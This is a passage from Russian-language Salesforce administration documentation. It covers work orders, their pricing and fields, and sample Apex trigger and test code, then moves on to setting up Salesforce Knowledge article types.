создать заказ на работу, чтобы проверить или устранить неполадку актива. Привяжите заказ на работу к обращению,
чтобы владелец обращения мог отслеживать выполнение хода работ.

• Есливамнеобходимоотслеживатьпериодическиестандартныеоперациипотехобслуживаниюилиактивы, привяжите
соответствующий заказ на работу к праву или контракту на оказание услуг, в соответствии с которым оказываются
услуги технического обслуживания.

СМ. ТАКЖЕ:

Включение заказов на работу в процесс поддержки

Рекомендации по использованию заказов на работу
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Включение заказов на работу в процесс поддержки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Заказы на работу представляют собой полезный вспомогательный инструмент, в
особенностиесливашаорганизациязанимаютсяоказаниемвыездныхуслугподдержки.
Выможете включать заказынаработывпроцессоказания услуг техническойподдержки
различными способами.

Ниже перечислены некоторые рекомендуемые подходы.

Как использовать заказы на работу для
разрешения тех или иных ситуаций

Ситуация

Восстановление поломанного актива.
Клиентприобретаетувас актив (например,
автомобиль). С этим активом возникает
неполадка, поэтому он звонит вам, чтобы
сообщитьоней. Агент создаетобращение

1. Агент создает заказ на работу с
названием «Устранение неполадок
актива» для этого актива.

2. Заказ-наряд содержит описание
неполадки.из вызова и определяет, что клиенту

необходимо отправить технического 3. Агент назначает заказ-наряд
техническому специалисту.специалиста для устранения неполадки

актива. 4. Техническийспециалистотправляется
для устранения неполадок актива.

5. Технический специалист
диагностирует неполадку и добавляет
элементыстрокивзаказ-наряд, которые
представляют собой конкретные
задачи, которые необходимо
выполнить, чтобы устранить
неполадку.

6. По мере того как каждый элемент
строки в заказе-наряде завершается,
техник изменяет статус элемента
строки на Завершен. После завершения
всех элементов строки технический
специалист изменяет статус
заказа-наряда на Завершен.

7. Агент закрывает обращение.

Выполнение профилактического
техобслуживания. Клиент приобретает

1. Сервисный агент создает заказ-наряд
«Ежегодная техническая проверка и
обслуживание» для этого актива.у вас актив и контракт на его

профилактическое обслуживание в
2. Агент добавляет элементы строки в

заказ-наряд, которые представляют
течение пяти лет. Контракт позволяет
клиенту проводить одну

собой задачи по техническомупрофилактическую проверку и
обслуживанию, которые должен
завершить технический специалист.

обслуживание каждый год. Ежегодная
техническая проверка в Salesforce
представляется как право, привязанное к
записи об активе.

3. Агент назначает заказ-наряд
техническому специалисту.
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Как использовать заказы на работу для разрешения
тех или иных ситуаций

Ситуация

4. Техническийспециалистотправляетсядлявыполнения
проверки и технического обслуживания.

5. Помере тогокак каждыйэлементстрокив заказе-наряде
завершается, техник изменяет статус элемента строки
на Завершен. После завершения всех элементов строки
техническийспециалистизменяет статус заказа-наряда
на Завершен.

6. Для следующего ежегодного технического
обслуживания актива агент может быстро создать клон
этого заказа-наряда.

В то время как такие участники являются типичнымипользователями заказов на работу, существует множество способов
изменить стиль работы с заказами на работу. Ниже перечислены некоторые примеры.

• Создайте быстрое действие «Создать заказ-наряд» для активов, обращений и организаций.

Прим.: Права и сервисные контракты не поддерживают быстрые действия.

• Настройте быстрое действие для заказов-нарядов, которое будет быстро обновлять поля организаций, активов и
контактов, приводя их в соответствие с родительской записью.

• Настройтетриггерилирабочийпоток, предотвращающийизменениестатусазаказа-нарядатехническимспециалистом
на Завершен до тех пор, пока не будут завершены все элементы строки.

• Учитывайте задержки и изменения в наборе действий путем создания одного заказа-наряда для дочерних элементов
полей другого заказа-наряда Родительский заказ-наряд. Например, если технический специалист не выполнит все
элементы строк заказа-наряда, он может отметить этот заказ как Завершен и создать дочерний заказ-наряд, который
содержит остальные элементы строки. Заказ-наряд может содержать до 2 000 дочерних заказов-нарядов, а также
иерархию заказов-нарядов, распространяющуюся на не более 50 уровней.

Точно такжеможно сделать один элемент строки заказа-наряда дочернимпо отношениюк другому элементу строки
при помощи поля Родительский элемент строки заказа на работу. Элемент строки заказа-наряда может содержать
до 2 000 дочерних заказов-нарядов, а такжеиерархиюэлементов строки, распространяющуюсянанеболее 50 уровней.

• Если ваша организация использует иерархические активы, следует отслеживать конкретные подчиненные задачи
более активно, привязав элементы строки заказа-наряда к другим активам. Например, заказ-наряд, привязанный к
активу «автомобиль» может иметь элемент строки, привязанный к активу «фара».

СМ. ТАКЖЕ:

Рекомендации по использованию заказов на работу

Образцы кода Apex для заказов на работу
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Принципы вычисления цены для заказов на работу

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Заказынаработуиэлементыстрокизаказовнаработуимеютнесколькополей, связанных
сценообразованием. Узнайте, каконивзаимодействуютикакимиследуетпользоваться.

Заказы на работу содержат следующие поля, связанные с ценой.

Что оно означаетПоле заказа на работу

Это поле только для чтения представляет
собойсредневзвешенноезначениескидок
на всех элементах строки заказа на работу.
Это может быть любое положительное
число до 100.

Скидка

Это поле только для чтения представляет
собой итог для подытогов элементов

Промежуточная сумма

строки заказа на работу до применения
скидок и налогов.

Это поле только для чтения представляет
собой итог для цен элементов строки
заказа на работу до начисления налогов.

Итоговая цена

Это поле только для чтения представляет
собой полную цену заказа на работу с
налогом.

Общая сумма

Прайс-лист, связанныйсзаказомнаработу.
Добавление прайс-листа в заказ на работу

Прайс-лист

позволяет назначить различные записи
прайс-листа элементам строки заказа на
работу.

Налог, применяемый к заказу на работу.
Например, в заказе на работу, полная

Налог

стоимость которого составляет 100 долл.
США, введите 10 долл. США, чтобы
применить десятипроцентный налог.
Символвалютыявляетсянеобязательным;
количество знаков после запятой не
должно превышать двух.

Элементы строки заказа на работу содержат следующие поля, связанные с ценой.

Что оно означаетПоле элемента строки заказа на работу

Процентнаяскидка, применимаякэлементустроки. Символ
процента является необязательным; количество знаков
после запятой не должно превышать двух.

Скидка
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Что оно означаетПоле элемента строки заказа на работу

Это поле только для чтения представляет собой цену за
единицу элемента строки, умноженную на количество.

Промежуточная сумма

Это поле только для чтения представляет собой подытог
для элемента строки с примененными скидками.

Итоговая цена

Это поле только для чтения представляет собой цену
элемента строки (продукта), как это приведено в

Цена по прайс-листу

соответствующейзаписи спискапрайс-листа. Если запись
прайс-листа не указана, цена сбрасывается до нуля (по
умолчанию).

Запись прайс-листа, соответствующая этому элементу
строки. При добавлении записи в это поле к

Запись прайс-листа

соответствующему элементу строки добавляется цена из
прайс-листа.

Поумолчаниюцена за единицудля элемента строкизаказа
на работу представляет собойценупопрайс-листу, однако
ее можно изменить.

Цена единицы продукции

При заполнении полей, связанных с ценой для заказов на работу, а также соответствующих элементов строки помните
о следующих рекомендациях.

• Если вы хотите применить скидку к заказу на работу, необходимоприменить скидку на уровне элемента строки. Если
ваш заказ-наряд не содержит элементов строки, его скидка составит 0.

• Призаполненииполейстрокидля заказанаработупросто заполнитеполя "Налог" и "Прайс-лист". Поля «Скидка»,
«Промежуточная сумма», «Итого к оплате» и «Общая сумма» вычисляются автоматически в зависимости от
значений элементов строки.

Прим.: При заполнении поля Налог введите стоимость в валюте, а не процентное значение.

• Призаполненииполейстрокидлязаказанаработупростозаполнитеполя Скидка и Прайс-лист. Поля «Промежуточная
сумма», «Итого к оплате» и «Цена по прайс-листу» и «Цена 1 единицы» вычисляются автоматически в
зависимости от значений других полей элементов строки.

СМ. ТАКЖЕ:

Настройка заказов на работу

Поля заказа на работу
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Поля заказа на работу

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Заказы на работу содержат следующие поля. В зависимости от настройки заказов на
работу в организации некоторые поля могут не отображаться.

ОписаниеПоле

Организация, связанная с заказом на
работу.

Организация

Сложная форма адреса, на котором
завершается заказ на работу.

Адрес

Актив, связанный с заказом на работу.Актив

Обращение, связанноес заказомнаработу.Обращение

Город, в которомзавершензаказнаработу.
Максимальная длина: 40 символов.

Город

Контакт, связанный с заказом на работу.Контакт

Страна, в которой завершен заказ на
работу. Максимальнаядлина: 80 символов.

Страна

Описание заказа на работу. Мы
рекомендуем описатьшаги, необходимые
для отметки заказа на работу как Завершено.

Описание

(Только чтение) Средневзвешенное
значение скидокна всех элементах строки

Скидка

заказа на работу. Это может быть любое
положительное число до 100.

Дата, в которую завершен заказ на работу.Дата окончания

Право, связанное с заказом на работу.Право

(Только чтение) Уровень точности
географических координат

Точность геокода

местоположения по сравнению с
физическим адресом. Обычно
предоставляется службой геокодирования
на основании данных ошироте и долготе
адреса.

(Только чтение) Полная цена заказа на
работу с налогом.

Общая сумма

Дата последнего изменения заказа на
работу.

Дата последнего изменения

Дата последнего просмотра заказа на
работу.

Дата последнего просмотра
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ОписаниеПоле

Используетсясовместноспараметром Долгота дляуказания
точного географического местоположения адреса, по

Широта

которому был завершен заказ на работу. Допустимые
значениянаходятся в пределах от -90 до 90 с числом знаков
после запятой до 15.

(Только чтение) Количество элементов в заказе на работу.Элементы строки

ИспользуетсясовместноспараметромШирота дляуказания
точного географического местоположения адреса, по

Долгота

которому был завершен заказ на работу. Допустимые
значения находятся в пределах от -180 до 180 с числом
знаков после запятой до 15.

Назначенный владелец заказа на работу.Ответственный

Родительский заказ на работу для этого заказа на работу,
если он имеется.

Родительский заказ на работу

Совет: Создайтенастраиваемыйотчетдляпросмотра
дочерних заказов этого заказа на работу.

Почтовый индекс, по адресу которого завершен заказ на
работу. Максимальная длина: 20 символов.

Почтовый индекс

Прайс-лист, связанный с заказом на работу. Добавление
прайс-листа в заказ на работу позволяет назначить

Прайс-лист

различные записипрайс-листа элементам строки заказа на
работу. Этодоступно, толькоеслииспользованиепродуктов
включено.

Приоритет заказа на работу. Список для выбора включает
следующие значения, которые можно настроить:

Приоритет

• Низкий

• Средний

• Высокий

• Критический

Сервисный контракт, связанный с заказом на работу.Сервисный контракт

Дата, когда заказ на работу станет активным.Дата начала

Административная единица, в которой завершен заказ на
работу. Максимальная длина: 80 символов.

Область

Состояние заказа на работу. Список для выбора включает
следующие значения, которые можно настроить:

Статус

• Новое

• Запланировано
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ОписаниеПоле

• Назначено

• Выполняется

• Завершено

• Закрыто

Улица и номер дома, где был завершен заказ на работу.Улица

Тема заказа на работу. Попытайтесь описать природу и
цель задания, которое необходимо завершить. Например,

Тема

«ежегоднаяработапотехническомуобслуживаниюколодца
заказчика». Максимальная длина: 255 символов.

(Только чтение) Итог для подытогов элементов строки
заказа на работу до применения скидок и налогов.

Промежуточная сумма

Налог, применяемыйк заказунаработу. Например, в заказе
на работу, полная стоимость которого составляет 100 долл.

Налог

США, введите 10 долл. США, чтобы применить
десятипроцентный налог. Символ валюты является
необязательным; количество знаков после запятой не
должно превышать двух.

(Только чтение) Итог для цен элементов строки заказа на
работу до начисления налогов.

Итоговая цена

Автоматически создаваемый номер заказа на работу.Номер заказа на работу

СМ. ТАКЖЕ:

Поля элементов строки заказа на работу

Поля элементов строки заказа на работу

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Элементыстрокизаказанаработусодержатследующиеполя. Взависимостиотнастройки
заказов на работу в организации некоторые поля могут не отображаться.

ОписаниеПоле

Актив, связанный с элементом строки.

Если в вашей организации используются
иерархические активы (которые станут
доступными весной 2016 г.), вы можете
привязать элементы строки заказа на
работу с другими активами. По этой
причине элементы строки не наследуют
значение активов заказа на работу
автоматически.

Актив
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ОписаниеПоле

Описаниеэлементастроки. Мырекомендуемописатьшаги,
необходимые для отметки элемента строки как Завершено.

Описание

Процентнаяскидка, применимаякэлементустроки. Символ
процента является необязательным; количество знаков
после запятой не должно превышать двух.

Скидка

Дата завершения выполнения элемента строки.Дата окончания

Автоматически создаваемый номер элемента строки.Номер элемента строки

(Только чтение) Цена элемента строки (продукта), как это
приведено в соответствующейзаписи спискапрайс-листа.

Цена по прайс-листу

Если запись прайс-листа не указана, цена сбрасывается до
нуля (по умолчанию).

Заказ, связанный с элементом строки заказа на работу.
Например, вамможетпонадобитьсязаказать запчастиперед
тем, как завершить элемент строки.

Заказ

Родительский элемент строки этого элемента строки, если
он имеется.

Родительский элемент строки заказа на работу

Совет: Создайтенастраиваемыйотчетдляпросмотра
дочерних элементов этого элемента строки.

Запись прайс-листа, соответствующая этому элементу
строки. При добавлении записи в это поле к

Запись прайс-листа

соответствующему элементу строки добавляется цена по
прайс-листа.

Продукт, связанный с записью в прайс-листе.Продукт

Количество единиц элемента строки.Количество

Дата, когда элемент строки заказа на работу станет
активным.

Дата начала

Статус элементастрокизаказанаработу. Списокдлявыбора
включает следующиезначения, которыеможнонастроить:

Статус

• Новое

• Выполняется

• Завершено

• Закрыто

(Только чтение) Цена за единицу элемента строки,
умноженная на количество.

Промежуточная сумма

(Только чтение) Подытог для элемента строки с
примененными скидками.

Итоговая цена
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ОписаниеПоле

Поумолчаниюцена за единицудля элемента строкизаказа
на работу представляет собойценупопрайс-листу, однако
ее можно изменить.

Цена единицы продукции

Родительский заказ на работу для этого элемента строки
заказа на работу. Поскольку элементы строки заказа на

Заказ-наряд

работу должны быть связаны с заказом на работу, это поле
является обязательным.

СМ. ТАКЖЕ:

Поля заказа на работу

Включение заказов на работу в процесс поддержки

Образцы кода Apex для заказов на работу

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Используйте следующиеобразцыApex для настройкии автоматизациироли заказов на
работу в процессах оказания услуг поддержки.

Совет: НеимеетеопытаработысApex? ОзнакомьтесьсРуководствомразработчика
Force.com Apex Code.

Пример триггера Apex
Следующий триггер автоматически закроет обращение, если заказ на работу в
соответствиисобращениемотмечается как «Закрыт». Еслиобращениеимеетнесколько
заказов на работу, триггер запускается сразу после того, как один из заказов на работу
отмечается «Закрыт».

trigger closeCaseWhenWoId on WorkOrder (after update) {
for (WorkOrder wo: Trigger.new) {

try {
if (wo.Status == 'closed') {

Case ca = [SELECT Status from case where id = :wo.CaseId];
ca.Status ='closed';
update ca;

}
} catch (Exception e) {

}
}

}

Пример класса тестирования Apex для триггера
@isTest
private class WOTriggerTest {
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static testMethod void validateWO() {
Case ca = new Case();
ca.Origin ='Phone';
ca.Status ='new';
insert(ca);

WorkOrder wo = new WorkOrder();
wo.Subject = 'test';
wo.Status ='closed';
wo.CaseId = ca.Id;
insert(wo);
update(wo);
Case ca1 = [SELECT Status from Case where id= :ca.Id];
System.assertEquals('Closed', ca1.Status);

}
}

Пример класса Apex: Создайте заказ на работу с элементом строки заказа на работу.
public class createWorkOrderLineItem{
public WorkOrderLineItem createWorkOrderLineItem(){

WorkOrder wo = new WorkOrder();
wo.subject ='title';
insert wo;
WorkOrderLineItem woli = new WorkOrderLineItem();
woli.workOrderId = wo.Id;
woli.description = 'abcd';
return woli;
}
}

Пример класса тестирования Apex

@isTest
public Class TestWorkOrderLineItem {
static testMethod void testCreateWorkOrderLineItem()
{
CreateWorkOrderLineItem cwoLi = new CreateWorkOrderLineItem();
cwoLi.createWorkOrderLineItem();

}
}

3017

Образцы кода Apex для заказов на работуНастройка и обслуживание инструментов службы поддержки



Добавление базы знаний

Добавление Salesforce Knowledge

Общие сведения о документации Salesforce Knowledge

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях Enterprise и
Unlimited.

Salesforce Knowledge — это база знаний, позволяющая пользователям создавать и
управлять содержимым (которое называется «статьями»), а также быстро находить и
просматриватьнужные статьи.Чтобынайти сведенияо Salesforce Knowledge в комплекте
документации Salesforce, воспользуйтесь списками ниже.

Общие сведения, рекомендации и советы по использованию Salesforce
Knowledge

• Общие сведения о Salesforce Knowledge

• Терминология Salesforce Knowledge

• Советы по внедрению Salesforce Knowledge

• Рекомендации по использованию Salesforce Knowledge

• Руководство по внедрению Salesforce Knowledge

Настройка Salesforce Knowledge

• Настройка Salesforce Knowledge

• Настройка Salesforce Knowledge

• Предоставление полномочий пользователям Salesforce Knowledge

• Определение типов статей

• Импорт статей

• Импорт статей в Salesforce Knowledge

Использование базы Salesforce Knowledge

• Вкладка «Статьи» или «База знаний»

• Поиск статей

• Поиск статей базы знаний в консоли Salesforce

• Как работает функция поиска?

• Управление статьями и переводами

• Публикация статей и переводов

• Составление отчетов по статьям Salesforce Knowledge на странице 4035

• Для поиска и просмотра статей Salesforce Knowledge на устройствах Android см. статью Доступ к статьям Salesforce
Knowledge припомощи Salesforce1 для Android (бета-версия)иРазличия Salesforce1 наполнойверсиивеб-сайта Salesforce
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Определение категорий данных для статей Salesforce Knowledge

• Что такое категории данных?

• Создание и изменение групп категорий

• Добавление категорий данных в группы категорий

• Управление категориями данных

Перевод статей Salesforce Knowledge

• Настройка многоязычной базы знаний

• Многоязычная поддержка в базе знаний

• Создание очереди статей

• Перевод статей в Salesforce Knowledge

• Экспорт статей для перевода

• Импорт переводов статьи

Предоставление общего доступа к базе Salesforce Knowledge

• Консоль Salesforce и Salesforce Knowledge

• Клиентский портал и Salesforce Knowledge

• Включение Salesforce Knowledge на партнерском портале

• Чтобыразрешитьпосетителямобщедоступноговеб-сайтапросмотрстатейSalesforce Knowledge, рекомендуемустановить
приложение Public Knowledge Baseиз каталогаAppExchange. Чтобыустановитьинастроитьобщедоступнуюбазу знаний
посредством данного пакета, просмотрите Руководство по приложению Public Knowledge Base, доступное в каталоге
AppExchange.

Разработка посредством Salesforce Knowledge

• Руководстворазработчика Salesforce Knowledge содержитсведенияоразработкеSalesforce Knowledge, а такжеобучающие
курсы и примеры.

• Руководство разработчика SOAP API содержит сведения об интерфейсе Salesforce Knowledge API.    именно:

– Рекомендации

– Объекты

– Вызовы

• Руководство разработчика Metadata API содержит сведения об объектах Salesforce Knowledge Metadata API.

• Руководство разработчика Visualforce содержит сведения о компонентах Salesforce Knowledge Visualforce.

• Руководство разработчика Force.com Apex Code содержит сведения о классе Apex по имени
KnowledgeArticleVersionStandardController.
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Настройка Salesforce Knowledge

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
редактирования
пользователей:
• «Управление

внутренними
пользователями»

Для создания типов статей
и действий над статьей:
• «Настройка

приложения»

И

«Управление Salesforce
Knowledge»

Для управления
синонимами:
• «Управление

синонимами»

Для создания категорий
данных:
• «Управление

категориями данных»

Прежде всего, администратор базы знаний должен выбрать способ форматирования и
публикации статей, а также предоставить доступ к базе знаний авторам, экспертам,
издателям и прочим участникам рабочей группы. Многие параметры (например,
предоставлениеклиентам, партнерамипосетителямобщедоступноговеб-сайта доступа
к статьям) могут быть включены после первоначальной настройки.

Прежде чем настроить Salesforce Knowledge, убедитесь в использовании Salesforce
Knowledge.

1. На странице личных параметров введите строку «Дополнительные сведения о
пользователе» вполе «Быстрый поиск», затемвыберите«Дополнительныесведения
о пользователе». Нет результатов? Введите строку «Личные сведения» в поле
«Быстрый поиск» и выберите пункт «Личные сведения».

2. Проверьте наличие флажка «Пользователь базы знаний».

Начало работы с Salesforce Knowledge

ЧтобывключитьSalesforce Knowledgeворганизации, выполнитеуказанныенижедействия.

1. В меню «Настройка» введите «Типы статей баз знаний» в поле «Быстрый поиск»,
затем выберите «Типы статей баз знаний» и создайте один или несколько типов
статей.

Прим.: Прежде чем предоставить пользователям доступ к типам статей,
администратор должен назначить соответствующие полномочия объекта.

2. Введите строку «Параметры базы знаний» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры базы знаний». Подтвердите
необходимостьвключенияSalesforce Knowledgeищелкните «Включить базу знаний».

3. Выберите общие параметры.

• Чтобыразрешитьпользователямредактированиестатейбезпереходанавкладку
«Управлениестатьями», установитефлажок «Разрешить пользователям создавать
и редактировать статьи на вкладке "Статьи"». Чтобы открыть страницу
редактирования статьи, рекомендуемпользователямвыбрать элемент «Правка».
При наличии опубликованной версии статьи пользователи могут просмотреть
опубликованнуюверсиюилиизменитьтекущую. Приналичиичерновойверсии
пользователи могут продолжить редактирование текущей черновой версии, но
должны внимательно проверить черновик во избежание перезаписи
неопубликованных изменений.

• Чтобы добавить поле «Статус проверки» во все статьи Salesforce Knowledge,
установите флажок «Активировать поле "Статус проверки"».

• Чтобы разрешить стандартному редактору поддержку элементов <iframe>,
позволяющихвнедрятьмультимедийноесодержимоес веб-сайтов DailyMotion, Vimeo и YouTube, установитефлажок
«Разрешить пользователям добавлять внешнее мультимедийное содержимое в HTML посредством стандартного
редактора».

4. Выберите как минимум одно значение в поле «Сводки по статье».

• Внутреннее приложение
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• Клиент

• Партнер

5. Выберите нужные параметры поиска.

• Параметр «Предлагать статьи для обращений на основе содержимого обращений (бета-версия)» возвращает
статьинаоснове сходства содержимогоисвязеймеждупохожимиобращениями. Приотсутствиистатей, связанных
с похожими обращениями, предложенные и обращения используют похожие заголовки. Предложенные статьи
отображаются на консоли Salesforce for Service и порталах при просмотре и создании обращений.

• Параметр «Выделять соответствующий текст статьи в результатах поиска» генерирует фрагмент
соответствующеготекста статьис выделеннымикритериямипоиска. См. раздел «Выделенияифрагментыпоиска»
на странице 3042.

• Параметр «Автозаполнение полей поиска по ключевому слову» возвращает три самых популярных поиска
поключевомуслову, выполненныхна вкладке «База знаний». Отображаемыепредложенныестатьиопределяются
каналом, выбранным для поиска.

Прим.: Журнал поиска по ключевому слову обновляется один раз в день.

• Параметр «Автозаполнение полей поиска по заголовку» возвращает не более трех статей, содержащих
совпадающие заголовки.

При отсутствии вкладки «База знаний» см. разделы «Включение полномочия Knowledge One посредством наборов
полномочий» и «Включение полномочия Knowledge One посредством профилей».

6. Настройтепараметр «Языкбазызнанийпоумолчанию». Данныйязыкбудетиспользоваться авторамидля создания
статей. Рекомендуем задать параметру «Язык базы знаний по умолчанию» язык организации.

7. При наличии многоязычной поддержки установите флажок «Несколько языков», добавьте поддерживаемые языки
и настройте их параметры.

Прим.: Добавленный язык не может быть удален.

8. При необходимости выберите «Параметры обращения».

• Разрешить пользователям создавать статью на основе обращения. Выберите простой или стандартный редактор
и определите стандартный тип статьи, назначенного и любые настройки Apex.

• Использовать профиль для создания PDF-статей. Чтобы разрешить агентам добавлять PDF-файлы в обращения,
установите флажок «Разрешить добавление статьи как PDF-файла» в макете страницы ленты обращений.

• Разрешить пользователям публикацию статей посредством общедоступных URL-адресов

• Включить список обращений, связанных со статьей

9. Чтобы разрешить создание статей на основе ответов, установите флажок «Разрешить пользователям создавать
статью на основе ответа».

10. Нажмите кнопку «Сохранить».

Чтобы предоставить внутренним пользователям возможность просмотра и управления статьями, выполните указанные
ниже действия.

1. Создайте группыкатегорийиотдельныекатегории, которыедолжныбытьназначеныстатьям. Категориииспользуются
агентами, клиентами, партнерами и посетителями для поиска статей в базе знаний. Дополнительную информацию
см. в разделе «Управление категориями данных» на странице 3065.
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2. При необходимости определите доступность статьи на основе настроенных категорий данных. По умолчанию
пользователи Salesforce Knowledgeполучаютдоступко всемстатьям, связаннымслюбойкатегорией. Дополнительную
информацию об ограничении доступности статьи см. в разделе «Редактирование доступности группы категорий»
на странице 3075.

3. Чтобы предоставить внутренним пользователям доступ к Salesforce Knowledge, назначьте каждому пользователю
лицензию на компонент Salesforce Knowledge.

a. Введите строку «Пользователи» вполе «Быстрый поиск» вменю «Настройка» ивыберитепункт «Пользователи».

b. Щелкнитессылку «Правка»напротивименинужногопользователя. Чтобысоздатьпользователя, нажмитекнопку
«Создать».

c. Установите флажок «Пользователь базы знаний».

Прим.: Дополнительную информацию о предоставлении пользователям портала доступа к Salesforce
Knowledge см. в разделах «Включение Salesforce Knowledge на клиентском портале» и «Включение Salesforce
Knowledge на партнерском портале».

4. Убедитесь, что каждому пользователю предоставлены соответствующие полномочия Salesforce Knowledge.
Дополнительную информацию см. в разделе «Предоставление полномочий пользователям Salesforce Knowledge» на
странице 3088.

5. Чтобы предоставить доступ ко вкладкам «Управление статьями» и «База знаний», добавьте их в настраиваемое
приложение или сообщите пользователям порядок их добавления в текущий набор вкладок. Обратите внимание на
примечания ниже.

• Вкладка «База знаний» доступна всем пользователям, имеющим доступ к Salesforce Knowledge.

• Вкладка «Управление статьями» доступна пользователям с полномочием «Управление статьями».

СМ. ТАКЖЕ:

Создание и назначение пользователей и групп Salesforce Knowledge

Настройка Salesforce Knowledge

Индивидуальная настройка системы Salesforce
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Определение типов статей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
удаления типов статей:
• «Настройка

приложения»

И

«Управление Salesforce
Knowledge»

Прежде всего, при настройке Salesforce Knowledge рекомендуем создать как минимум
один тип статьи. Поддержка Salesforce Knowledge может быть включена только при
наличии как минимум одного типа статьи.

Тип статьи выбирается автором при ее создании. Типы статей (например, «Вопросы и
ответы» и «Обучающие курсы») определяют формат и структуру отображения статьи
для каждой аудитории, называемой каналом. Каждый тип статьи позволяет создавать
настраиваемые поля, настраивать макеты путем добавления или удаления разделов и
полей, а также выбирать шаблоны для каждого канала. При необходимости создайте
бизнес-правилаипроцессыутверждения, благодарякоторымпользователиорганизации
смогут отслеживать и управлять процессами создания и публикации статей.

Прим.: Прежде чем предоставить пользователям доступ к типам статей,
администратор должен назначить соответствующие полномочия объекта.

Чтобы создать тип статьи, выполните указанные ниже действия.

1. Вразделе «Настройка» введите «Типы статей баз знаний» в поле «Быстрый поиск»,
затем выберите «Типы статей баз знаний».

2. Нажмите кнопку «Создать тип статьи» или измените текущий тип статьи.

3. Заполните указанные ниже поля.

ОписаниеПоле

Имя, используемоедляобозначениятипа
статьи на всех страницах
пользовательского интерфейса.

Метка

Имя объекта во множественном числе.
Данное имя используется на вкладке,
созданной для объекта.

Метка множественного числа

Принеобходимости укажите род метки.
Данное поле отображается только в том

Род

случае, если язык, используемый в
организации по умолчанию,
поддерживает категорию рода.
Параметры личного языка не влияют на
отображение данного поля.

Принеобходимостиукажите, следуетли
использоватьартикль, заканчивающийся
на согласную букву, перед меткой.

Начинается с гласного звука

(Только для чтения) Уникальное имя,
используемое для обозначения типа

Имя объекта

статьиприиспользованииForce.com API.
Данное уникальное имя позволяет
избежать конфликтов имен при
установке управляемых пакетов. Поле
«Имя объекта» может содержать только
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ОписаниеПоле

буквы, цифры и символы подчеркивания. Имя должно
быть уникальным и начинаться с буквы; не может
содержать пробелов и двух последовательных символов
подчеркивания, а такженеможет заканчиватьсясимволом
подчеркивания.

Дополнительное описание типа статьи. При просмотре
спискатиповстатейподробноеописаниепозволяетлегко
отличить один тип статьи от другого.

Описание

Чтобы отслеживать полный журнал статьи и ее версий,
установите данныйфлажок. Система записывает и

Отслеживать журнал поля

отображает обновления полей, события бизнес-правил
по публикации, языковые версии основной статьи и все
переводы.

Данное поле определяет доступность типа статьи вне
меню «Настройка». Статус «В разработке» определяет

Статус развертывания

недоступностьданноготипастатьиприсозданиистатей.
Статус «Развернуто» может быть выбран только после
создания типа статьи.

4. Нажмите кнопку «Сохранить».

5. Ниже перечислены действия, доступные на странице сведений о типе статьи.

• При необходимости создайте или измените настраиваемые поля в связанном списке «Поля».

• Чтобы изменить порядок отображения полей и создать разделы, измените макет типа статьи в связанном списке
«Поля».

• Выберите шаблон для внутреннего приложения, партнерского портала, клиентского портала и общедоступной
базы знаний в связанном списке «Отображение каналов».

СМ. ТАКЖЕ:

Настройка Salesforce Knowledge
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Удаление типов статей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления типов статей:
• «Настройка

приложения»

И

«Управление Salesforce
Knowledge»

Чтобы удалить тип статьи, выполните указанные ниже действия.

1. Вразделе «Настройка» введите «Типы статей баз знаний» в поле «Быстрый поиск»,
затем выберите «Типы статей баз знаний».

2. Щелкните ссылку «Удал.» напротив нужного типа статьи.

3. Подтвердите необходимость удаления типа статьи.

Примечания к удалению типов статей

Ниже перечислены рекомендации по удалению типов статей.

• Единственный тип статьи, используемый организацией, не может быть удален.
Каждая организация Salesforce Knowledge требует наличия как минимум одного
развернутого типа статьи. Прежде чем удалить устаревший тип статьи, рекомендуем
добавить новый.

• Статьи, связанные с удаленным типом статьи, автоматически удаляются из всех
каналов. Удаление касается черновых, опубликованных и архивных статей.

• В отличие от других удаленных записей, система Salesforce не переносит удаленные
типы статей в корзину. Вместо корзины, удаленные типы статей в течение 15 дней
отображаются в списке «Удаленные типы статей» на странице спискового
представления статей. Втечение этого времени, тип статьии связанные статьимогут
быть восстановлены или удалены без возможности восстановления. По истечении
15 дней тип статьи и связанные статьи удаляются без возможности восстановления.

• При выборе закладки на URL-адрес удаленной статьи система Salesforce отображает
сообщение «Недостаточно полномочий».

СМ. ТАКЖЕ:

Определение типов статей
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Изменение макетов типов статей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки макета типа
статьи:
• «Настройка

приложения»

И

